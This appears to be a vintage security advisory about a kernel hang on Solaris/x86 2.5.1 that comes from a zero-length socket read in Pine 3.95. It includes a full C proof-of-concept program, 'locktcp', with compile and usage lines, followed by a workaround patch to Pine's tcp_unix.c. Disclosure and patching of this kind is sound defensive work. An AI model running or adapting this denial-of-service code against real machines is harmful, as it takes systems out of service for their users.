COMMAND
kernel (pine)
SYSTEMS AFFECTED
Solaris /x86 2.5.1 (possibly others Solaris/x86)
PROBLEM
On bottom is program that when runs (sometimes multiple runs are
necessary to produce the problem) should hang a Solaris/x86 2.5.1
machine (and possibly other versions of Solaris/x86). Make sure
you pass the IP address and port of a server that puts up a
banner message, such as POP3 or IMAP, as arguments.
/*
* The folowing is rather ripped from Pine 3.95, and condensed.
* It should easily freeze a Solaris/x86 2.5.1 system, though may have to
* be run more than once to produce the problem.
*
* Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
*
* Throw this at your favorite dotted decimal IP and port of some server
* (not on the local host) that throws up a banner message. i.e. IMAP,
* POP3, FTP, etc. The program doesn't seem to hang the system on
* services that don't throw a banner (like HTTP).
*
* Usage: locktcp ip-addr port
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
int i,sock,flgs;
char *s;
struct sockaddr_in sin;
fd_set fds;
char tmp[4096];
char *host;
long port;
if (argc != 3) {
fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
return 1;
}
host = argv[1];
port = atol(argv[2]);
/**** Set up address and open socket ****/
sin.sin_port = htons (port);
sin.sin_addr.s_addr = inet_addr (host);
sin.sin_family = AF_INET; /* family is always Internet */
if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0) {
fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
return 0;
}
/**** Set to non-blocking ****/
flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
fcntl (sock,F_SETFL,flgs | O_NDELAY);
/**** Connect to host ****/
while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
errno == EINTR);
if (i<0) switch (errno) { /* failed? */
case EINPROGRESS:
case EISCONN:
case EADDRINUSE:
break; /* well, not really, it was interrupted */
default:
fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
strerror (errno));
close (sock); /* flush socket */
return 0;
}
/**** Do blocking select on nonblocking socket ****/
FD_ZERO (&fds); /* initialize selection vector */
FD_SET (sock,&fds); /* block for writeable */
while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
(errno == EINTR));
/**** Set back to blocking socket ****/
if (i > 0) { /* success, make sure really connected */
fcntl (sock,F_SETFL,flgs); /* restore blocking status */
/* get socket status */
while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
if (!i) i = 1; /* make success if the read is OK */
}
if (i<=0) { /* timeout or error? */
fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
strerror (i ? errno : ETIMEDOUT));
close (sock); /* flush socket */
}
return 0;
}
SOLUTION
This program appears to be a hackup of Pine's tcp_unix.c file,
the one affecting Solaris/x86 systems. A workaround for Pine is
available: apply the following patch to
pine3.95/imap/ANSI/c-client/tcp_unix.c before building. (This
patch will cause bad error messages when connects fail, but will
avoid the problem until it is patched.)
*** tcp_unix.c.orig Tue Dec 3 17:33:50 1996
--- tcp_unix.c Tue Dec 3 17:36:33 1996
***************
*** 195,202 ****
if (i > 0) { /* success, make sure really connected */
fcntl (sock,F_SETFL,flgs); /* restore blocking status */
/* get socket status */
! while ((i = read (sock,tmp,0)) < 0 && errno == EINTR);
! if (!i) i = 1; /* make success if the read is OK */
}
if (i<=0) { /* timeout or error? */
sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,
--- 195,201 ----
if (i > 0) { /* success, make sure really connected */
fcntl (sock,F_SETFL,flgs); /* restore blocking status */
/* get socket status */
! i = 1;
}
if (i<=0) { /* timeout or error? */
sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,